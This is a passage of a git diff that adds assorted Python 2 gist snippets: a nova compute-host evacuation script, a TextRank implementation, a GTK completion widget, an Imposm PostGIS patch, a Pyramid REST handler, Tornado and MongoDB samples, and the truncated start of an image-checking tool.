+def _migrate_host(nova, host, max_migrations, poll_interval, cold_fallback):
+    host_filter = {'host': host}
+
+    # The number of times we've attempted to migrate an instance
+    attempts = defaultdict(int)
+
+    verify = set()
+    force_cold = defaultdict(bool)
+
+    # Display 
+    instances = nova.servers.list(search_opts=host_filter)
+    if len(instances) > 0:
+        print 'Found instances on host:'
+        for instance in instances:
+            print '  %s' % _pretty_instance(instance)
+
+    # Repeatedly attempt to evacuate the host until completion
+    while True:
+        # Attempt to migrate instances on the host
+        migrating, busy = _migrate_multiple(instances,
+            max_migrations, cold_fallback, attempts, force_cold, verify)
+
+        remaining_instance_ids = set([instance.id for instance in instances])
+
+        # If we successfully cold migrated an instance, it will be left in
+        # VERIFY_RESIZE on a new host. Here we auto-confirm it, as it was a
+        # simple copy. This may involve an expensive data-scrubbing operation,
+        # so we start it as soon as possible.
+        verified = set()
+        for instance_id in verify:
+            # Instances in VERIFY_RESIZE have moved to a different host, so
+            # they won't be in instances, which only contains instances from
+            # the target host.
+            if instance_id in remaining_instance_ids:
+                continue
+
+            instance = nova.servers.get(instance_id)
+            if instance.status == 'VERIFY_RESIZE':
+                instance.confirm_resize()
+            elif instance.status in STATES_MIGRATABLE:
+                verified.add(instance_id)
+            elif instance.status == 'RESIZE':
+                # Haven't finished on the target host
+                pass
+            else:
+                # Instance is in unexpected state on target host. Warn, and
+                # don't wait any longer.
+                print ('WARNING: Instance %s has migrated to host %s. '
+                       'Expected status VERIFY_RESIZE, but status is %s'
+                       % (_pretty_instance(instance),
+                          getattr(instance, 'OS-EXT-SRV-ATTR:host'),
+                          instance.status))
+                verified.add(instance_id)
+        verify.difference_update(verified)
+
+        # Finish when we didn't do anything, and we're not waiting on anything
+        if len(migrating) == 0 and len(busy) == 0 and len(verify) == 0:
+            break
+
+        # Report status on every round
+        if len(migrating) > 0:
+            print 'Migrating:'
+            for instance in migrating:
+                print '  %s' % _pretty_instance(instance)
+        if len(busy) > 0:
+            print 'Busy:'
+            for instance in busy:
+                print '  %s: %s' % (_pretty_instance(instance),
+                                    instance.status)
+
+        time.sleep(poll_interval)
+        instances = nova.servers.list(search_opts=host_filter)
+
+    if len(instances) > 0:
+        raise InstancesRemaining(instances)
+
+
+def nova_compute_maintenance(nova, host, max_migrations=2, poll_interval=5,
+                             cold_fallback=False):
+    # Disable the service in the scheduler to prevent new instances being sent
+    # there
+    try:
+        nova.services.disable(host, 'nova-compute')
+    except exceptions.NotFound:
+        raise InvalidHost
+
+    _migrate_host(nova, host, max_migrations, poll_interval, cold_fallback)
+
+
+if __name__ == '__main__':
+    parser = argparse.ArgumentParser(
+        description='Disable a nova compute service and move all its '
+                    'instances to other hosts')
+
+    parser.add_argument('host',
+        help='The nova compute host to evacuate for maintenance')
+    parser.add_argument('--max-migrations', '-m', type=int,
+        help='The maximum number of simultaneous migrations to perform')
+    parser.add_argument('--poll-interval', '-p', type=int,
+        help='The frequency at which we poll the status of the compute '
+             'service')
+    parser.add_argument('--cold-fallback', '-c', action='store_true',
+        help='Fall back to cold migration if live migration fails')
+
+    opts = vars(parser.parse_args())
+    host = opts.pop('host')
+
+    # Filter out unset options so they're defaulted by nova_compute_maintenance
+    opts = {k:v for k, v in opts.iteritems() if v is not None}
+
+    try:
+        nova = _get_client()
+    except MissingClientOpt as ex:
+        print ex.message
+        sys.exit(1)
+
+    try:
+        nova_compute_maintenance(nova, host, **opts)
+
+        print 'Success: No instances left on host'
+        sys.exit(0)
+    except InvalidHost:
+        print "%s is not a nova compute host" % host
+    except InstancesRemaining as ex:
+        print 'Failed to migrate the following instances:'
+        for instance in ex.instances:
+            print '  %s: %s %s' % (_pretty_instance(instance),
+                                   instance.status,
+                                   getattr(instance, 'fault', ''))
+        print 'See logs for details'
+
+    sys.exit(1)
diff --git a/hard-gists/1646117/._snippet.py b/hard-gists/1646117/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/1646117/._snippet.py differ
diff --git a/hard-gists/1646117/snippet.py b/hard-gists/1646117/snippet.py
new file mode 100644
index 00000000..eb138025
--- /dev/null
+++ b/hard-gists/1646117/snippet.py
@@ -0,0 +1,90 @@
+"""
+From this paper: http://acl.ldc.upenn.edu/acl2004/emnlp/pdf/Mihalcea.pdf 
+
+I used python with nltk, and pygraph to do an implmentation of of textrank.
+
+for questions: http://twitter.com/voidfiles
+
+"""
+import nltk
+import itertools
+from operator import itemgetter
+
+from pygraph.classes.graph import graph
+from pygraph.classes.digraph import digraph
+from pygraph.algorithms.pagerank import pagerank
+from pygraph.classes.exceptions import AdditionError
+
+text = u"""In the Valley, we have lots of euphemisms for changing your business until you find a way to make money: You might throw things at the wall and see what sticks, or go where the money is, or pivot. Whatever you call it, it boils down to a basic animal instinct-the killer instinct. You need to look at the whole picture and attack an area that is vulnerable, and then keep attacking until you have won, or until you find an even more vulnerable spot. Rinse, then repeat.
+
+I have yet to run my own company, but that doesn't stop me from evaluating the ability of a business to harness its killer instinct and fuel its own expansion. I have worked for companies with and without this instinct. I like working for companies with a keen killer instinct.
+
+This killer instinct directly relates to last month's Google Reader debacle. I would often deride Google for changing Reader, but at the same time, I knew from the beginning that it was the right move on the part of Google.
+
+Google has amassed their resources to support Google+. They have gone so far as to tie employees' salaries and bonuses to how well Google+ does. They then rolled out integrations across the company. The company uses anything that could possibly prop up Google+ to drive the success of the project. This is the killer instinct in action. Google knows that if they don't combat Facebook, they are going to forfeit a significant market in the future. They aren't going to lose this battle without a fight.
+
+As an outsider, and as a former Yahoo employee, I applaud Google's determination. Yahoo had been trying to start a social networking service for as long as I worked there. The problem with the Yahoo social networking plan is that they have tried five5 different things in five5 years. Apparently Google+ wasn't all that welcome at Google in it's internal beta, and there have even been some very public rants from Googlers about the faults of Google+,the project- but Google is still pushing it hard. If Yahoo ran had run into this much resistance, they would have shut it down.
+
+Now that I work for a small company, I have had the chance to see killer instinct in the flesh. I know how much focus it gives a company, and that it drives the development of a strong plan. It gives you a roadmap, even when you don't always know what the future looks like. I can only hope that when I run my own company, I'll have that same killer instinct."""
+
+
+text = nltk.word_tokenize(text)
+
+tagged = nltk.pos_tag(text)
+
+
+def filter_for_tags(tagged, tags=['NN', 'JJ', 'NNP']):
+    return [item for item in tagged if item[1] in tags]
+
+
+def normalize(tagged):
+    return [(item[0].replace('.', ''), item[1]) for item in tagged]
+
+
+def unique_everseen(iterable, key=None):
+    "List unique elements, preserving order. Remember all elements ever seen."
+    # unique_everseen('AAAABBBCCDAABBB') --> A B C D
+    # unique_everseen('ABBCcAD', str.lower) --> A B C D
+    seen = set()
+    seen_add = seen.add
+    if key is None:
+        for element in itertools.ifilterfalse(seen.__contains__, iterable):
+            seen_add(element)
+            yield element
+    else:
+        for element in iterable:
+            k = key(element)
+            if k not in seen:
+                seen_add(k)
+                yield element
+
+tagged = filter_for_tags(tagged)
+tagged = normalize(tagged)
+
+unique_word_set = unique_everseen([x[0] for x in tagged])
+
+gr = digraph()
+gr.add_nodes(list(unique_word_set))
+
+window_start = 0
+window_end = 2
+
+while 1:
+
+    window_words = tagged[window_start:window_end]
+    if len(window_words) == 2:
+        print window_words
+        try:
+            gr.add_edge((window_words[0][0], window_words[1][0]))
+        except AdditionError, e:
+            print 'already added %s, %s' % ((window_words[0][0], window_words[1][0]))
+    else:
+        break
+
+    window_start += 1
+    window_end += 1
+
+calculated_page_rank = pagerank(gr)
+di = sorted(calculated_page_rank.iteritems(), key=itemgetter(1))
+for k, g in itertools.groupby(di, key=itemgetter(1)):
+    print k, map(itemgetter(0), g)
diff --git a/hard-gists/1650115/._snippet.py b/hard-gists/1650115/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/1650115/._snippet.py differ
diff --git a/hard-gists/1650115/snippet.py b/hard-gists/1650115/snippet.py
new file mode 100644
index 00000000..73a68c15
--- /dev/null
+++ b/hard-gists/1650115/snippet.py
@@ -0,0 +1,75 @@
+import pygtk
+pygtk.require("2.0")
+
+import gobject
+import gtk
+from gtk import gdk
+
+class EntryMultiCompletion(gtk.Entry):
+    def init(self):
+        gtk.Entry.init(self)
+        self.completion = gtk.EntryCompletion()
+
+        # customize the matching function to match multiple space
+        # separated words
+        self.completion.set_match_func(self.match_func, None)
+
+        # handle the match-selected signal, raised when a completion
+        # is selected from the popup
+        self.completion.connect("match-selected", self.on_completion_match)
+        self.set_completion(self.completion)
+
+def match_func(self, completion, key_string, iter, data):
+    model = self.completion.get_model()
+    # get the completion strings
+    modelstr = model[iter][0]
+
+    # check if the user has typed in a space char,
+    # get the last word and check if it matches something
+    if " " in key_string:
+        last_word = key_string.split()[-1]
+        return modelstr.startswith(last_word)
+
+    # we have only one word typed
+    return modelstr.startswith(key_string)
+
+def on_completion_match(self, completion, model, iter):
+    current_text = self.get_text()
+
+    # if more than a word has been typed, we throw away the
+    # last one because we want to replace it with the matching word
+    # note: the user may have typed only a part of the entire word
+    #       and so this step is necessary
+    if " " in current_text:
+        current_text = " ".join(current_text.split()[:-1])
+        current_text = "%s %s" % (current_text, model[iter][0])
+    else:
+        current_text = model[iter][0]
+        
+    # add the matching word
+    current_text = "%s %s" % (current_text, model[iter][0])
+
+    # set back the whole text
+    self.set_text(current_text)
+    # move the cursor at the end
+    self.set_position(-1)
+
+    # stop the event propagation
+    return True
+
+if __name__ == "main": # register the class as a Gtk widget gobject.type_register(EntryMultiCompletion)
+    win = gtk.Window()
+    win.connect("delete-event", gtk.main_quit)
+
+    entrycompl = EntryMultiCompletion()
+    liststore = gtk.ListStore(gobject.TYPE_STRING)
+    entrycompl.completion.set_model(liststore)
+    entrycompl.completion.set_text_column(0)
+    for word in ['abc', 'def', 'ghi', 'jkl', 'mno',
+                 'pqr', 'stu', 'vwx', 'yz']:
+        liststore.append([word])
+
+    win.add(entrycompl)
+    win.show_all()
+
+    gtk.main()
\ No newline at end of file
diff --git a/hard-gists/1650418/._snippet.py b/hard-gists/1650418/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/1650418/._snippet.py differ
diff --git a/hard-gists/1650418/snippet.py b/hard-gists/1650418/snippet.py
new file mode 100644
index 00000000..09ba4924
--- /dev/null
+++ b/hard-gists/1650418/snippet.py
@@ -0,0 +1,374 @@
+# On OSX, this Imposm file is found at: /Library/Python/2.7/site-packages/imposm/db/postgis.py. YMMV
+# Hack basically comments out all the elements relating to modifying the geometry_columns table. 
+# In PostGIS 2.0 this is a view and handled transparently.
+
+# Copyright 2011 Omniscale (http://omniscale.com)
+# 
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+# 
+#     http://www.apache.org/licenses/LICENSE-2.0
+# 
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+import time
+
+import psycopg2
+import psycopg2.extensions
+
+import logging
+log = logging.getLogger(__name__)
+
+from imposm.mapping import UnionView, GeneralizedTable, Mapping
+
+class PostGISDB(object):
+    def __init__(self, db_conf):
+        self.db_conf = db_conf
+        self.srid = int(db_conf['proj'].split(':')[1])
+        self._insert_stmts = {}
+        self._connection = None
+        self._cur = None
+
+    @property
+    def table_prefix(self):
+        return self.db_conf.prefix.rstrip('_') + '_'
+
+    def to_tablename(self, name):
+        return self.table_prefix + name.lower()
+
+    @property
+    def connection(self):
+        if not self._connection:
+            kw = {}
+            if self.db_conf.port:
+                kw['port'] = int(self.db_conf.port)
+            self._connection = psycopg2.connect(
+                database=self.db_conf.db,
+                host=self.db_conf.host,
+                user=self.db_conf.user,
+                password=self.db_conf.password,
+                sslmode=self.db_conf.get('sslmode', 'allow'),
+                **kw
+            )
+            self._connection.set_isolation_level(
+                psycopg2.extensions.ISOLATION_LEVEL_READ_COMMITTED)
+        return self._connection
+    
+    def commit(self):
+        self.connection.commit()
+    
+    @property
+    def cur(self):
+        if self._cur is None:
+            self._cur = self.connection.cursor()
+        return self._cur
+    
+    def insert(self, mapping, insert_data, tries=0):
+        insert_stmt = self.insert_stmt(mapping)
+        try:
+            if tries:
+                self.reconnect()
+            self.cur.executemany(insert_stmt, insert_data)
+        except psycopg2.OperationalError, ex:
+            if tries >= 8:
+                log.warn('%s, giving up', ex)
+                raise
+            seconds = 2 ** (tries + 1)
+            log.warn('%s, retry in %d', ex, seconds)
+            time.sleep(seconds)
+            self.insert(mapping, insert_data, tries=tries + 1)
+        except psycopg2.Error, ex:
+            self.connection.rollback()
+            for data in insert_data:
+                try:
+                    self.cur.execute(insert_stmt, data)
+                except psycopg2.Error, ex:
+                    log.warn('error while importing "%r": %s', data, ex)
+                    self.connection.rollback()
+                else:
+                    self.connection.commit()
+
+        self.connection.commit()
+    
+    def geom_wrapper(self, geom):
+        return psycopg2.Binary(geom.wkb)
+    
+    def reconnect(self):
+        if self._connection:
+            try:
+                self._connection.close()
+            except psycopg2.InterfaceError:
+                pass
+        self._connection = None
+        self._cur = None
+
+    def insert_stmt(self, mapping):
+        if mapping.name not in self._insert_stmts:
+            self._insert_stmts[mapping.name] = self._insert_stmt(mapping)
+
+        return self._insert_stmts[mapping.name]
+
+    def _insert_stmt(self, mapping):
+        extra_arg_names = extra_args = ''
+        if mapping.fields:
+            extra_arg_names = [n for n, t in mapping.fields]
+            extra_args = ', %s' * len(extra_arg_names)
+            extra_arg_names = ', ' + ', '.join('"' + name + '"' for name in extra_arg_names)
+        return """INSERT INTO "%(tablename)s"
+            (osm_id, type, geometry %(extra_arg_names)s)
+            VALUES (%%s, %%s, ST_Transform(ST_GeomFromWKB(%%s, 4326), %(srid)s)
+                %(extra_args)s)
+        """.strip() % dict(tablename=self.table_prefix + mapping.name, srid=self.srid,
+            extra_arg_names=extra_arg_names, extra_args=extra_args)
+
+
+    def create_tables(self, mappings):
+        for mapping in mappings:
+            self.create_table(mapping)
+
+    def create_table(self, mapping):
+        tablename = self.table_prefix + mapping.name
+        cur = self.connection.cursor()
+        cur.execute('SAVEPOINT pre_drop_tables')
+        try:
+            cur.execute('DROP TABLE "' + tablename + '" CASCADE')
+        except psycopg2.ProgrammingError:
+            cur.execute('ROLLBACK TO SAVEPOINT pre_drop_tables')
+
+        extra_fields = ''
+        for n, t in mapping.fields:
+            extra_fields += ', "%s" %s ' % (n, t.column_type)
+
+        cur.execute("""
+            CREATE TABLE "%s" (
+                osm_id INT4 PRIMARY KEY,
+                type VARCHAR(255)
+                %s
+            );
+        """ % (tablename, extra_fields))
+        cur.execute("""
+            SELECT AddGeometryColumn ('', '%(tablename)s', 'geometry',
+                                      %(srid)s, '%(pg_geometry_type)s', 2)
+        """ % dict(tablename=tablename, srid=self.srid,
+                   pg_geometry_type=mapping.geom_type))
+        cur.execute("""
+            CREATE INDEX "%(tablename)s_geom" ON "%(tablename)s" USING GIST (geometry)
+        """ % dict(tablename=tablename))
+    
+    def swap_tables(self, new_prefix, existing_prefix, backup_prefix):
+        cur = self.connection.cursor()
+
+        self.remove_tables(backup_prefix)
+        
+        cur.execute('SELECT tablename FROM pg_tables WHERE tablename like %s', (existing_prefix + '%', ))
+        existing_tables = []
+        for row in cur:
+            table_name = row[0]
+            if table_name.startswith(existing_prefix) and not table_name.startswith((new_prefix, backup_prefix)):
+                existing_tables.append(table_name)
+
+        cur.execute('SELECT indexname FROM pg_indexes WHERE indexname like %s', (existing_prefix + '%', ))
+        existing_indexes = set()
+        for row in cur:
+            index_name = row[0]
+            if table_name.startswith(existing_prefix) and not index_name.startswith((new_prefix, backup_prefix)):
+                existing_indexes.add(index_name)
+        
+        cur.execute('SELECT tablename FROM pg_tables WHERE tablename like %s', (new_prefix + '%', ))
+        new_tables = []
+        for row in cur:
+            table_name = row[0]
+            new_tables.append(table_name)
+
+        cur.execute('SELECT indexname FROM pg_indexes WHERE indexname like %s', (new_prefix + '%', ))
+        new_indexes = set()
+        for row in cur:
+            index_name = row[0]
+            new_indexes.add(index_name)
+        
+        if not new_tables:
+            raise RuntimeError('did not found tables to swap')
+        
+        for table_name in existing_tables:
+            rename_to = table_name.replace(existing_prefix, backup_prefix)
+            cur.execute('ALTER TABLE "%s" RENAME TO "%s"' % (table_name, rename_to))
+            if table_name + '_geom' in existing_indexes:
+                cur.execute('ALTER INDEX "%s" RENAME TO "%s"' % (table_name + '_geom', rename_to + '_geom'))
+            if table_name + '_pkey' in existing_indexes:
+                cur.execute('ALTER INDEX "%s" RENAME TO "%s"' % (table_name + '_pkey', rename_to + '_pkey'))
+            #cur.execute('UPDATE geometry_columns SET f_table_name = %s WHERE f_table_name = %s', (rename_to, table_name))
+            
+        for table_name in new_tables:
+            rename_to = table_name.replace(new_prefix, existing_prefix)
+            cur.execute('ALTER TABLE "%s" RENAME TO "%s"' % (table_name, rename_to))
+            if table_name + '_geom' in new_indexes:
+                cur.execute('ALTER INDEX "%s" RENAME TO "%s"' % (table_name + '_geom', rename_to + '_geom'))
+            if table_name + '_pkey' in new_indexes:
+                cur.execute('ALTER INDEX "%s" RENAME TO "%s"' % (table_name + '_pkey', rename_to + '_pkey'))
+            #cur.execute('UPDATE geometry_columns SET f_table_name = %s WHERE f_table_name = %s', (rename_to, table_name))
+        
+    def remove_tables(self, prefix):
+        cur = self.connection.cursor()
+        cur.execute('SELECT tablename FROM pg_tables WHERE tablename like %s', (prefix + '%', ))
+        remove_tables = [row[0] for row in cur]
+        
+        for table_name in remove_tables:
+            cur.execute("DROP TABLE %s CASCADE" % (table_name, ))
+            #cur.execute("DELETE FROM geometry_columns WHERE f_table_name = %s", (table_name, ))
+        
+
+    def remove_views(self, prefix):
+        cur = self.connection.cursor()
+        cur.execute('SELECT viewname FROM pg_views WHERE viewname like %s', (prefix + '%', ))
+        remove_views = [row[0] for row in cur]
+        
+        for view_name in remove_views:
+            cur.execute('DROP VIEW "%s" CASCADE' % (view_name, ))
+            #cur.execute("DELETE FROM geometry_columns WHERE f_table_name = %s", (view_name, ))
+        
+    
+    def create_views(self, mappings, ignore_errors=False):
+        for mapping in mappings.values():
+            if isinstance(mapping, UnionView):
+                PostGISUnionView(self, mapping).create(ignore_errors=ignore_errors)
+    
+    def create_generalized_tables(self, mappings):
+        mappings = [m for m in mappings.values() if isinstance(m, GeneralizedTable)]
+        for mapping in sorted(mappings, key=lambda x: x.name, reverse=True):
+            PostGISGeneralizedTable(self, mapping).create()
+
+    def optimize(self, mappings):
+        mappings = [m for m in mappings.values() if isinstance(m, (GeneralizedTable, Mapping))]
+        for mapping in mappings:
+            table_name = self.to_tablename(mapping.name)
+            self.optimize_table(table_name, '%s_geom' % table_name)
+        self.vacuum()
+
+    def optimize_table(self, table_name, idx_name):
+        cur = self.connection.cursor()
+        print 'Clustering table %s' % table_name
+        cur.execute('CLUSTER "%s" ON "%s"' % (idx_name, table_name))
+        self.connection.commit()
+
+    def vacuum(self):
+        old_isolation_level = self.connection.isolation_level
+        self.reconnect()
+        self.connection.set_isolation_level(psycopg2.extensions.ISOLATION_LEVEL_AUTOCOMMIT)
+        cur = self.connection.cursor()
+        print 'Vacuum analyze'
+        cur.execute("VACUUM ANALYZE")
+        self.connection.set_isolation_level(old_isolation_level)
+
+
+class PostGISUnionView(object):
+    def __init__(self, db, mapping):
+        self.mapping = mapping
+        self.db = db
+        self.view_name = db.to_tablename(mapping.name)
+
+    def _view_stmt(self):
+        selects = []
+        for mapping in self.mapping.mappings:
+            field_str = ', '.join(self._mapping_fields(mapping))
+            selects.append("""SELECT osm_id, type, geometry, %s,
+                '%s' as class from "%s" """ % (
+                field_str, mapping.classname or mapping.name, self.db.to_tablename(mapping.name)))
+
+        selects = '\nUNION ALL\n'.join(selects)
+
+        stmt = 'CREATE VIEW "%s" as (\n%s\n)' % (self.view_name, selects)
+        
+        return stmt
+
+    def _geom_table_stmt(self):
+        stmt = "insert into geometry_columns values ('', 'public', '%s', 'geometry', 2, %d, 'GEOMETRY')" % (
+            self.view_name, self.db.srid)
+        return stmt
+
+    def _mapping_fields(self, mapping):
+        mapping_fields = set([n for n, t in mapping.fields])
+        fields = []
+        for name, default in self.mapping.fields:
+            if name in mapping_fields:
+                fields.append('"' + name + '"')
+            else:
+                if default is None:
+                    default = 'null'
+                elif isinstance(default, basestring):
+                    default = "'%s'" % default
+                else:
+                    default = str(default)
+                fields.append(default + ' as "' + name + '"')
+        return fields
+
+    def create(self, ignore_errors):
+        cur = self.db.connection.cursor()
+        cur.execute('BEGIN')
+        try:
+            cur.execute('SAVEPOINT pre_create_view')
+            cur.execute('SELECT * FROM pg_views WHERE viewname = %s', (self.view_name, ))
+            if cur.fetchall():
+                cur.execute('DROP VIEW %s' % (self.view_name, ))
+            cur.execute(self._view_stmt())
+        except psycopg2.ProgrammingError:
+            cur.execute('ROLLBACK TO SAVEPOINT pre_create_view')
+            if not ignore_errors:
+                raise
+
+        #cur.execute('SELECT * FROM geometry_columns WHERE f_table_name = %s', (self.view_name, ))
+        #if cur.fetchall():
+            # drop old entry to handle changes of SRID
+            #cur.execute('DELETE FROM geometry_columns WHERE f_table_name = %s', (self.view_name, ))
+        #cur.execute(self._geom_table_stmt())
+
+
+class PostGISGeneralizedTable(object):
+    def __init__(self, db, mapping):
+        self.db = db
+        self.mapping = mapping
+        self.table_name = db.to_tablename(mapping.name)
+
+    def _idx_stmt(self):
+        return 'CREATE INDEX "%s_geom" ON "%s" USING GIST (geometry)' % (
+            self.table_name, self.table_name)
+
+    def _geom_table_stmt(self):
+        stmt = "insert into geometry_columns values ('', 'public', '%s', 'geometry', 2, %d, 'GEOMETRY')" % (
+            self.table_name, self.db.srid)
+        return stmt
+
+    def _stmt(self):
+        fields = ', '.join([n for n, t in self.mapping.fields])
+        if fields:
+            fields += ','
+        if self.mapping.where:
+            where = ' WHERE ' + self.mapping.where
+        else:
+            where = ''
+        return """CREATE TABLE "%s" AS (SELECT osm_id, type, %s
+            ST_Simplify(geometry, %f) as geometry from "%s"%s)""" % (
+            self.table_name, fields, self.mapping.tolerance, self.db.to_tablename(self.mapping.origin.name),
+            where)
+
+    def create(self):
+        cur = self.db.connection.cursor()
+        cur.execute('BEGIN')
+        try:
+            cur.execute('SAVEPOINT pre_drop_table')
+            cur.execute('DROP TABLE "%s" CASCADE' % (self.table_name, ))
+        except psycopg2.ProgrammingError:
+            cur.execute('ROLLBACK TO SAVEPOINT pre_drop_table')
+        
+        cur.execute(self._stmt())
+        cur.execute(self._idx_stmt())
+
+        #cur.execute('SELECT * FROM geometry_columns WHERE f_table_name = %s', (self.table_name, ))
+        #if cur.fetchall():
+            # drop old entry to handle changes of SRID
+            #cur.execute('DELETE FROM geometry_columns WHERE f_table_name = %s', (self.table_name, ))
+        #cur.execute(self._geom_table_stmt())
diff --git a/hard-gists/1653394/._snippet.py b/hard-gists/1653394/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/1653394/._snippet.py differ
diff --git a/hard-gists/1653394/snippet.py b/hard-gists/1653394/snippet.py
new file mode 100644
index 00000000..29c5dd56
--- /dev/null
+++ b/hard-gists/1653394/snippet.py
@@ -0,0 +1,116 @@
+from pyramid.config import Configurator
+from pyramid.view import view_config
+
+import json
+import logging
+import datetime 
+
+log = logging.getLogger(__name__)
+
+from webservice.model import Session, Machine, LogFile, LogMessage
+
+session = Session.connect('test')
+
+datetime_types = (datetime.time, datetime.date, datetime.datetime)
+
+class JSONEncoder(json.JSONEncoder):
+
+    def default(self, obj):
+        if isinstance(obj, datetime_types):
+            obj = str(obj)
+ 
+        return obj
+
+class BaseRestHandler(object):
+
+    MODEL = None
+
+    limit = 25
+    order = None
+    direction = None
+
+    def __init__(self, request):
+        self.request = request
+
+        if not self.order:
+            self.order = self.MODEL.created_at
+            self.direction = 'descending'
+
+    def __call__(self, *args, **kwargs):
+        rv = getattr(self, self.request.method)(*args, **kwargs)
+        return json.dumps(rv, cls=JSONEncoder)
+
+    def filter(self):
+        return ()
+
+    def GET(self):
+        
+        query = session.query(self.MODEL)      \
+                       .filter(*self.filter()) \
+                       .limit(self.limit)
+
+        query = getattr(query, self.direction)(self.order)
+
+        return [i.to_dict(exclude=['mongo_id']) for i in query.all()]
+
+    def POST(self):
+        raise HTTPNotImplemented()
+
+    def PUT(self):
+        raise HTTPNotImplemented()
+
+    def DELETE(self):
+        raise HTTPNotImplemented()
+
+    def __fetch_from__(self, src, model, match_key, model_attr):
+        val = src.get(match_key)
+
+        if not val:
+            raise NotFound('%s not found' % model.__name__)
+
+        try:
+            obj = session.query(model).filter(model_attr == val).one()
+        except NoResultFound:
+            raise NotFound('%s %s not found' % (model.__name__, str(val)))
+
+        return obj
+
+    def __fetch__(self, model, match_key, model_attr):
+        return self.__fetch_from__(self.request.matchdict,
+                                   model,
+                                   match_key,
+                                   model_attr)
+
+    def __post__(self, model, match_key, model_attr):
+        return self.__fetch_from__(self.request.POST,
+                                   model,
+                                   match_key,
+                                   model_attr)
+
+@view_config(route_name='machines', renderer='string')
+class MachinesHandler(BaseRestHandler):
+    MODEL = Machine
+
+@view_config(route_name='log-files', renderer='string')
+class LogFilesHandler(BaseRestHandler):
+    MODEL = LogMessage
+
+@view_config(route_name='log-messages', renderer='string')
+class LogsHandler(BaseRestHandler):
+    MODEL = LogMessage
+    
+def main(global_config, **settings):
+
+    config = Configurator(settings=settings)
+
+    config.include('pyramid_handlers')
+
+    config.add_static_view('static', 'ui:static')
+
+    config.add_route('machines', '/machines')
+    config.add_route('log-files', '/log-files')
+    config.add_route('log-messages', '/log-messages')
+
+    config.scan()
+
+    return config.make_wsgi_app()
diff --git a/hard-gists/166499794efcdfde4d00/._snippet.py b/hard-gists/166499794efcdfde4d00/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/166499794efcdfde4d00/._snippet.py differ
diff --git a/hard-gists/166499794efcdfde4d00/snippet.py b/hard-gists/166499794efcdfde4d00/snippet.py
new file mode 100644
index 00000000..a09db6bb
--- /dev/null
+++ b/hard-gists/166499794efcdfde4d00/snippet.py
@@ -0,0 +1,47 @@
+import re, os
+import urllib
+import ImageFile
+import photos
+import clipboard
+from bs4 import BeautifulSoup
+from PIL import Image
+
+def download_from(url):
+	print("get content from " + url)
+	opener = urllib.FancyURLopener({})
+	f = opener.open(url)
+	return f.read()
+
+def mk_tempdir(path):
+	try:
+		os.mkdir(path)
+	except OSError:
+		print('tmpimage directory already exists')
+	
+def save_image_to_file(html_doc):
+	soup = BeautifulSoup(html_doc)
+	artworks = soup.find_all('img', 'artwork')
+	title_head = soup.title.string.split(' ')[0]
+	title_re = re.compile(title_head)
+	mk_tempdir('./tmpimage')
+
+	for a in artworks:
+		if title_re.match(a['alt']):
+			save_path = './tmpimage/' + title_head + '.png'
+			urllib.urlretrieve(a['src-swap'], save_path)
+			print('saving a image file to ' + save_path)
+			return save_path
+
+def save_image_to_ios_photo(path):
+	im = Image.open(path)
+	photos.save_image(im)	
+
+def save_image_to_photos():
+	store_clip = clipboard.get()
+	url = store_clip.split("\n")[1]
+	print url
+	html_content = download_from(url)
+	path = save_image_to_file(html_content)
+	save_image_to_ios_photo(path)
+
+save_image_to_photos()
diff --git a/hard-gists/1676440/._snippet.py b/hard-gists/1676440/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/1676440/._snippet.py differ
diff --git a/hard-gists/1676440/snippet.py b/hard-gists/1676440/snippet.py
new file mode 100644
index 00000000..d3616a63
--- /dev/null
+++ b/hard-gists/1676440/snippet.py
@@ -0,0 +1,60 @@
+from datetime import datetime
+from pymongo.connection import Connection
+
+import tornado.httpserver
+import tornado.ioloop
+import tornado.options
+import tornado.web
+
+from tornado.options import define, options
+
+define("port", default=8888, help="run on the given port", type=int)
+
+
+class Application(tornado.web.Application):
+    def __init__(self):
+        handlers = [
+            (r"/", MainHandler),
+        ]
+
+        settings = dict(
+            autoescape=None,
+        )
+        tornado.web.Application.__init__(self, handlers, **settings)
+
+        self.con = Connection('localhost', 27017)
+        self.database = self.con["mongosample"]
+
+
+class MainHandler(tornado.web.RequestHandler):
+    def get(self):
+        db=self.application.database
+
+        new_comment = {
+            "comment" : "what a nice page",
+            "author" : "bobby",
+            "time" : datetime.utcnow(),
+        }
+
+        db.comments.insert(new_comment)
+
+        comments = db["comments"].find()
+
+        self.write("Hello, world. with mongo")
+        for c in comments:
+            self.write("<br/>")
+            self.write(c["comment"])
+            self.write(' - ' + c["author"])
+            self.write(' at time: ' + str(c["time"]))
+
+
+def main():
+    tornado.options.parse_command_line()
+    http_server = tornado.httpserver.HTTPServer(Application())
+    http_server.listen(options.port)
+    tornado.ioloop.IOLoop.instance().start()
+
+
+if __name__ == "__main__":
+    main()
+    
\ No newline at end of file
diff --git a/hard-gists/1679110/._snippet.py b/hard-gists/1679110/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/1679110/._snippet.py differ
diff --git a/hard-gists/1679110/snippet.py b/hard-gists/1679110/snippet.py
new file mode 100644
index 00000000..de9bb036
--- /dev/null
+++ b/hard-gists/1679110/snippet.py
@@ -0,0 +1,52 @@
+#!/usr/bin/python
+
+# You need to install PIL & argparse
+# easy_install is your friend, pip is your better friend.
+
+import os
+from PIL import Image
+import argparse
+
+parser = argparse.ArgumentParser(description='Find (or purple-ize!) images without @2x counterparts')
+parser.add_argument('directory', metavar='DIRECTORY', type=str, nargs=1,
+                   help='Path to image directory')
+parser.add_argument('--color', dest='color', action='store_true',
+                   default=False,
+                   help='Overwrite the original image with purple pixels')
+
+args = parser.parse_args()
+print args.directory
+
+theRoot = args.directory[0]
+
+theOneXImages = set()
+theTwoXImages = set()
+
